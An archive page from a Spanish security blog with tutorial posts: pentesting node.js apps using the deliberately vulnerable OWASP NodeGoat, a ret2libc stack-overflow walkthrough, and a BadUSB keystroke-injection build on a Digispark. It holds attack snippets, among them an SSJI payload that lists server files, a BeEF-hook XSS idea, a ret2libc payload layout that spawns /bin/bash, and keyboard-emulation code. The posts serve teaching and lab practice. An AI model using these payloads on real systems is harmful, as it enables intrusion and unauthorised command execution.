Archivo

Archive for the ‘Programacion’ Category

Pentesting contra aplicaciones en node.js – Parte 2.

julio 10, 2018 1 comentario

En el primer post publicado de ésta serie sobre pentesting contra aplicaciones en node.js simplemente se ha dado un repaso general de las principales vulnerabilidades que se pueden detectar y posteriormente explotar en aplicaciones web basadas en ésta tecnología, la mayoría de las cuales no se encuentran especificadas en el OWASP Top 10, por lo tanto hay que aplicar un enfoque un poco diferente a la hora de realizar un proceso de pentesting contra éste tipo de aplicaciones. No obstante, esto no significa que las vulnerabilidades descritas en el OWASP Top 10 no afecten a las aplicaciones desarrolladas con node.js, todo lo contrario, también son bastante frecuentes cuando se desarrolla una aplicación sin tener en cuenta la seguridad en el proceso de construcción.
En el post anterior también se han mencionado las principales diferencias entre el modelo “event-loop” que implementan las aplicaciones basadas en node.js y el modelo “thread per-request”, por lo tanto en éste post vamos a comenzar a ver ejemplos prácticos de las vulnerabilidades descritas en el primer articulo para que todo quede un poco más claro.

Entorno de pruebas con NodeGoat.

Antes de comenzar y ver ejemplos un poco más centrados en lo que viene a ser el pentesting contra aplicaciones con node.js, es mejor contar con un entorno de pruebas y qué mejor que una aplicación web vulnerable por diseño, por ese motivo a partir de éste punto se procede a explicar la instalación de NodeGoat y su posterior puesta en marcha. Como se verá a continuación es un procedimiento bastante sencillo, solamente es necesario configurar una conexión a una base de datos MongoDB y tener todas las dependencias instaladas en el directorio donde se encuentra la aplicación, algo que se puede conseguir fácilmente utilizando “npm”.

El proyecto se encuentra disponible en GitHub en la siguiente url: https://github.com/OWASP/NodeGoat y tal como se puede ver en el README, la instalación consiste principalmente en la instalación de una base de datos MongoDB (la cual puede encontrarse en un servicio en Internet como https://mlab.com/) y contar con todas las librerías y dependencias obligatorias. El procedimiento se encuentra bastante bien explicado en el repositorio, por lo tanto no tiene mucho sentido replicar lo mismo que aparece en el fichero de README del proyecto, basta simplemente con seguir cada uno de los pasos indicados y será posible tener una instancia de NodeGoat en ejecución, por otro lado, para aquellos que prefieran utilizar Docker, también existe una imagen que cuenta con todo lo necesario para tener el entorno preparado.
Una vez que todas las dependencias se encuentran instaladas y todo está debidamente configurado, se puede ejecutar el “server.js” para levantar el módulo de express que da acceso a la aplicación y desde un navegador web apuntar a la dirección local en el puerto “4000”.

 

 

Las credenciales de acceso a la aplicación se encuentran en el README del proyecto, se pueden usar las cuentas: admin/Admin_123, user1/User1_123 o user2/User2_123.

Utilizando cualquiera de las cuentas anteriores, se puede iniciar sesión en la aplicación.

Ahora que ya se cuenta con NodeGoat en ejecución, es posible comenzar a hacer pruebas contra la aplicación, empezando por las más sencillas para ir tomando confianza.

En la aplicación existen varias vulnerabilidades de inyección del tipo XSS, una de ellas se encuentra en el perfil del usuario, en donde es posible editar información básica del usuario que se encuentra autenticado. Dado que algunos de dichos campos no gestionan adecuadamente las entradas y no “escapan” caracteres que son potencialmente peligrosos, es fácil incluir un script que haga cualquier cosa, desde el típico “alert”, cargar un iframe o una de mis favoritas, cargar un hook de BeEF ubicado en un servicio oculto en TOR. Seguramente algunos os diréis, que es necesario que el cliente se encuentre también conectado a dicha red para poder acceder a las direcciones onion, algo que es parcialmente cierto, pero también existen servicios en Internet como por ejemplo “tor2web” que se encarga de servir cómo puente entre usuarios que navegan en la “clear web” sin utilizar TOR y los servicios que se encuentran alojados en la deep web.

Además de la sección de perfil del usuario, ubicado en el extremo superior derecho de la aplicación web, en la opción “memos” es posible escribir un mensaje que quedará almacenado en la base de datos y el cual, admite entre otras cosas, tags HTML que serán renderizadas directamente en el navegador web de cada uno de los usuarios que accedan a la página, lo que nuevamente da como resultado una vulnerabilidad del tipo XSS almacenado.

Otra vulnerabilidad que también es fácil de descubrir se encuentra en la sección “allocations”. La lógica de ésta página es sencilla, cada uno de los usuarios autenticados accede a sus propios “allocations” desde ésta pantalla, sin embargo, la aplicación recibe por parámetro el identificador de cada “allocation” y realiza una búsqueda directa contra la base de datos, sin verificar si el usuario que realiza la petición tiene permiso de acceder al elemento solicitado o dicho de otra manera, nos encontramos con una vulnerabilidad típica de “Insecure direct object reference”, definida en el OWASP Top 10, aunque con la versión más reciente del 2017 ahora tiene otro nombre, pero la filosofía y criticidad de éste tipo de vulnerabilidad sigue siendo la misma. En éste caso, simplemente basta con cambiar la url “/allocations/2” por “/allocations/CUALQUIERNUMERO” y comprobar que en el caso de que la base de datos devuelva resultados, cambia incluso la página de perfil, apareciendo los datos del usuario al que pertenece dicho “allocation”.

En la sección que pone “Learning Resources” hay un parámetro llamado “url” el cual recibe como argumento una url que es utilizada por la aplicación web para realizar una redirección, está es otra vulnerabilidad fácil de descubrir, dado que el parámetro puede ser modificado e incluir un dominio arbitrario, controlando de ésta forma la navegación del usuario. Otra vulnerabilidad que se encuentra definida en el OWASP Top10, aunque en está ocasión, en la versión del 2013: “Insecure Redirects”, vulnerabilidad que ya no se encuentra recogida en la versión actual de OWASP.

Hasta aquí se han visto las vulnerabilidades más sencillas en NodeGoat, sin embargo hay otras más interesantes y que están enfocadas a lo que viene a ser node.js, las cuales se han explicado a grandes rasgos en el artículo anterior. Comenzaremos con una vulnerabilidad de SSJI (Server Side Javascript Injection) la cual como se ha mencionado antes, puede producir la ejecución de código en el lado del servidor y dado su impacto y criticidad, es de las primeras cosas que se tienen que ver en una aplicación desarrollada en node.js. Concretamente, a la hora de realizar una auditoría de código en una aplicación con ésta tecnología, hay que buscar los siguientes patrones:

* Uso de la función “eval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setInterval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setTimeout” recibiendo entradas por parte del usuario sin validar.

* Creación de una función anónima en node.js partiendo de instrucciones recibidas por parte del usuario y sin validar.

En NodeGoat se encuentra la opción “Contributions” en el menú, la cual tiene tres cajas de texto que reciben valores numéricos cada una, correspondientes a un porcentaje de payroll. Si se ingresa un valor numérico no hay ningún problema, pero si se llega a ingresar una cadena de texto…

 

Esto simplemente significa que la función “eval” ha fallado en la validación del valor numérico, sin embargo, otra característica interesante de “eval” es que además de validar valores numéricos, también se encarga de la validación y ejecución de instrucciones Javascript. Esto significa, que conociendo la API de Node.js será posible incluir cualquier tipo de instrucción que permita la ejecución arbitraria de código. Unos ejemplos típicos podrían ser “process.exit()”, “while(1)” o incluso, incluir una reverse shell escrita en node.js, algo que se verá en el siguiente post.

Con una vulnerabilidad de SSJI, no solamente es posible producir una condición de denegación de servicio o crear una shell contra el sistema, también es posible, con muy pocas líneas de código, leer directorios y ficheros de forma arbitraria en el sistema de archivos. Simplemente incluyendo una instrucción como: “res.end(require(‘fs’).readdirSync(‘.’).toString())” se podrán ver los ficheros y directorios del directorio raíz de la aplicación web.

Hay muchas más cosas que probar en NodeGoat, las cuales se verán en las próximas entradas de ésta serie.

 

 

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

Evadiendo no-exec stacks con técnicas ret2libc

septiembre 14, 2017 1 comentario

Desde aquellos días en los que comenzaron a aparecer las primeras vulnerabilidades en programas ejecutables, que típicamente se aprovechaban de un desbordamiento de memoria, se han implementado varios mecanismos de defensa que impiden que los programas vulnerables y potencialmente peligrosos para el sistema puedan ser una amenaza, obviamente la fuente del problema siempre se encuentra fallos de diseño e implementación, una situación difícil de controlar. En el caso de los sistemas más populares hoy en día, existen varias características interesantes que impiden que un programa que presenta condiciones de Stack o Heap overflow puedan “campar a sus anchas”, así nos encontramos con cosas como Stack Cookies o Canaries, DEP, ASLR, etc. Son mecanismos muy potentes que añaden un nivel de complejidad considerable al proceso de explotación, ya que ahora el atacante no solamente se debe preocupar por detectar y explotar vulnerabilidades, sino también de evadir esos mecanismos de protección que no le permiten montar en el sistema atacado su propia “fiesta”. Aún así, existen técnicas que el atacante puede llevar a cabo para saltarse esas medidas de protección y conseguir sus objetivos.

En éste artículo vamos a hablar de una técnica muy interesante que se puede aplicar sobre un programa vulnerable ejecutándose en un sistema GNU/Linux y que debido a su simplicidad y efectividad, la convierte en una técnica muy potente ante aquellos programas que implementan el “No-Exec”, es decir, que marcan la Stack como un espacio de sólo lectura sin la posibilidad de que el procesador interprete los bytes que podemos insertar en ella como instrucciones ejecutables. Hablamos del archiconocido “ret2libc”.

El origen del mal.

El origen de prácticamente todas las vulnerabilidades tiene su base en una mala implementación, errores en diseño y programación que le permiten a un atacante hacer de las suyas. Esto la mayoría de las veces sucede simplemente por descuidos o desconocimiento del programador, aunque también a veces, aunque el programador conoce las consecuencias negativas de cara a la seguridad de ciertas prácticas de desarrollo, por desidia/pereza, simplemente decide ignorarlas y quedarse con la típica frase de: “En mi local funciona”.

Como decía antes, estas cosas son difíciles de controlar, a menos claro, que a ese programador perezoso lo mandes a Corea del Norte a servir al amado “lidel”, en ese caso seguro que se espabila y revisa 20 veces cada una de las líneas de código de su programa.

Ahora bien, como comentaba anteriormente, las Stacks “No exec” impiden que algunas áreas de la memoria (Stack o Heap) puedan ser interpretadas por el procesador como secciones con instrucciones ejecutables. Dado que no se puede inyectar o ejecutar código malicioso en el programa, aunque sea vulnerable, el atacante debe sobrepasar esta barrera antes de poder continuar y para ello puede utilizar la técnica de “ret2libc” o Return To Libc.

Antes de explicar en qué consiste, vamos a partir de un programa vulnerable, el cual contiene el siguiente código:

Explotando el programa con No-Exec habilitado

Es fácil darse cuenta que el programa anterior, además de ser muy simple no realiza ningún tipo de verificación sobre los limites del buffer

En un sistema GNU/Linux, el programa anterior se puede compilar con GCC de la siguiente manera.

gcc -ggdb -fno-stack-protector -o programa programa.c

Por defecto, los programas compilados en la mayoría de versiones del GCC generan un binario con la característica “no-exec” habilitada, lo que significa que si encontramos una vulnerabilidad en el programa y seguimos el procedimiento clásico de sobreescribir el EIP para que realice un salto hacia la stack, lugar en donde tendremos nuestro shellcode, el resultado será una violación de acceso.

Dicho lo anterior, vamos a comenzar a inspeccionar el programa y analizar su comportamiento ante un desbordamiento de pila.

En primer lugar, se carga el programa con el depurador (GDB) y se establece un punto de interrupción en la dirección de memoria en donde se realiza una invocación a la función “tevasacorea”.

El segundo y último punto de interrupción se establece en la instrucción “ret”, justo al final de la función “tevasacorea” para poder ver el contenido de la Stack antes de que se produzca el desbordamiento.

Como se puede apreciar en la última imagen, se ejecuta un programa externo al depurador y en dicho programa, simplemente se crea una entrada de 512 caracteres (concretamente, 512 As). Se pasa por ambos breakpoints y antes de retornar de la función “tevasacorea”, se consulta el estado de la Stack que tal como se puede apreciar, ha quedado en la posición perfecta para sobreescribir el valor del registro EIP con una dirección de memoria arbitraria. Esto significa simplemente, que se debe ejecutar el programa con una entrada que contenga 512 caracteres más una dirección de retorno arbitraria que nos permita manipular el programa y llegados a éste punto, comenzamos a hablar de Ret2Libc.

Aplicando la técnica Ret2Libc para eludir el “No-Exec”

Esta técnica recibe el nombre de Ret2Libc por dos motivos, el primero de ellos es que se basa en el hecho de que en la dirección de retorno de cualquier cualquier función, se puede establecer una dirección de memoria arbitraria que puede hacer parte del programa o de los objetos compartidos y librerías que son necesarias para el correcto funcionamiento del programa, lo que significa que en el caso de no poder utilizar la Stack para nuestro propósito, siempre se puede intentar invocar a otros espacios de memoria o instrucciones ejecutables ubicadas en otra librería. Por otro lado, la librería Libc es muy habitual en programas que se ejecutan sobre sistemas GNU/Linux y en la mayoría de los casos se trata de una dependencia obligatoria, por éste motivo es posible buscar funciones interesantes en dicha librería que nos puedan resultar útiles en el proceso de explotación del programa. Las funciones que se utilizarán en este ejemplo son “system” y “exit”, la primera recibe una cadena como primer argumento, la cual representa un programa a ejecutar y la segunda, permite finalizar un proceso limpiamente. Ambas funciones se pueden concatenar en la cadena de invocaciones gracias a la técnica “ret2libc”, únicamente hay que tener en cuenta que es necesario obtener las direcciones de memoria de cada una de las funciones a invocar y posteriormente, meterlas en la stack en el mismo orden en el que se desea invocarlas. Por último, pero no menos importante, se debe tener en cuenta el tipo de vulnerabilidad que se está explotando, por ejemplo, en el caso de que la vulnerabilidad se base en el overflow de un buffer de cadenas (con el ejemplo del programa anterior con la función strcpy), se debe evitar a toda costa utilizar direcciones de memoria que contengan “null terminators” (\x00) ya que esto haría que se corte el payload y no sea posible obtener los resultados deseados.

Dicho lo anterior, es el momento de buscar las direcciones de memoria correspondientes a las funciones “system” y “exit”.

Como se puede apreciar de la imagen anterior, simplemente con el comando “print” y la función deseada, se puede obtener información sobre la librería y dirección de memoria donde se encuentra cargada dicha función.

Ahora bien, el siguiente paso consiste en especificar el parámetro adecuado a la función “system” con una cadena como “/bin/bash” sería suficiente, pero hay un pequeño problema y es que dicho parámetro no lo espera la función como una cadena simple, espera la referencia de una dirección de memoria que apunta a una cadena de texto con el nombre del binario a ejecutar, lo que se conoce coloquialmente en programación en C/C++ como un puntero. Por lo tanto, simplemente hay que buscar una dirección de memoria que apunte a una cadena que tenga el programa deseado. Afortunadamente, en las variables de entorno existen varias entradas que contienen valores de configuración y entre otras cosas, suele haber una variable llamada “SHELL” que define el programa que preferiblemente se debe de lanzar cuando se invoque a una shell en el sistema. Ahora, cómo se consigue acceso a las variables de entorno del sistema desde un programa en ejecución? La respuesta es simple, gracias a la Stack. Como seguramente ya sabreis, la Stack de un programa no solamente almacena parámetros y las variables locales correspondientes a cada Stack Frame o función invocada en un programa, también incluye todas las variables de entorno que hay en el sistema por si alguno de los Stack Frames del programa necesita acceder a cualquiera de dichas variables. Con esto en mente, basta simplemente con inspeccionar la Stack para obtener la dirección exacta donde se encuentra la variable de entorno “SHELL”.

Tal como se puede ver en el programa anterior, después de buscar los contenidos de la Stack con un comando como “x/5000s $exp” desde el depurador, se puede encontrar la variable de entorno SHELL y una dirección de memoria que puede ser útil para enviar como primer argumento de la función “system”.

Ahora que ya se cuenta con todo lo necesario para aplicar la técnica de Ret2Libc, es el momento de componer el payload que tendrá los siguientes valores:

“A”*512 + Dirección de memoria system + Dirección de memoria exit + Dirección de memoria del programa a ejecutar por system.

Por último, a diferencia de los valores que normalmente se suelen encontrar en tráfico de red, cuando se habla de programas y direcciones de memoria, se utiliza el formato “little endian”, por lo tanto es necesario establecer cada dirección de memoria en sentido inverso.

Después de lanzar nuevamente el programa con el payload adecuado, utilizando la técnica ret2libc, se puede apreciar que se ha conseguido ejecutar el programa “/bin/bash” y ahora se cuenta con una consola plenamente funcional, solamente ha bastado con indicar las direcciones de memoria adecuadas y concatenar cada una de las invocaciones con sus correspondientes parámetros. Una técnica que puede ser sencilla de implementar y muy potente, os animo a que lo probéis.

Un saludo y Happy Hack.

Adastra.

BadUSB Ultra Low Cost

julio 10, 2017 12 comentarios

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna(@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

Buenos días a todos!

Teníamos pensado hacer 3 artículos sobre distintos BadUSB: (“Introducción”, “Low-cost” y “Soluciones profesionales”), pero dentro de nuestra manía de empezar la casa por el tejado, hemos decidido empezar con un artículo de ultra low cost, mostrando como hacer un BadUSB por 1 euro aproximadamente, que en muchas ocasiones podrá hacer las mismas funciones que el famoso USB Rubber Ducky de Hack5 (44,95 US$ + envío), si, sabemos que puede parecer una locura, pero funciona.

La idea, básica y extremadamente resumida de BadUSB, por si alguien no sabe de que va el asunto aún, es emular un teclado sobre un dispositivo USB normal, para poder emular el comportamiento del usuario, y por tanto poder ejecutar comandos y programas en el sistema atacado, sin el consentimiento de la víctima.

Hemos utilizado como hardware el Digistump Digispark, éste dispositivo utiliza el microcontrolador Attiny85 de Microchip. Dicho microcontrolador es un micro de 8 bits que nos ofrece: 8kb de memoria flash, 512b EEPROM, 512b SRAM y 6 puertos I/O (Enlace al datasheet completo). De este dispositivo se pueden encontrar múltiples clones, con distintos tipos puertos USB, realizados en China en páginas como Aliexpress o Ebay por precios que rondan 1 euro.

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (Aqui).

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Hola Mundo

Lo mas clásico, cuando hablamos de microcontroladores, es hacer un blinking led como “Hola mundo”, ésto es un programa que haga parpadear un led a una frecuencia determinada, como en nuestro caso nuestro dispositivo puede comunicarse con algo mas que un led vamos a hacer un “Hola mundo” mediante teclado USB. Tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Como código escribiremos el siguiente:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.delay(5000);
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(250);
  DigiKeyboard.println(F("notepad"));
  delay(250);
  DigiKeyboard.println(F("Hola mundo!"));
  while(1);
}

El código es muy simple, pero vamos a explicarlo mas detalladamente:

  • #define kbd_es_es : Configura el mapa del teclado, en nuestro caso español de España.
  • #include “DigiKeyboard.h” : Incluye la librería para emulación de teclado.
  • DigiKeyboard.delay(5000) : Espera 5 segundos (por posible instalación de drivers, etc …)
  • DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) : Pulsa la tecla de Windows + R que hace que aparezca la ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberiamos enviar KEY_F2 y MOD_ALT_LEFT (Alt + F2)
  • DigiKeyboard.println(F(“notepad”)) : Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.
  • DigiKeyboard.println(F(“Hola mundo!”)) : Envía la cadena “Hola mundo” seguida de enter.
  • while(1) : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.
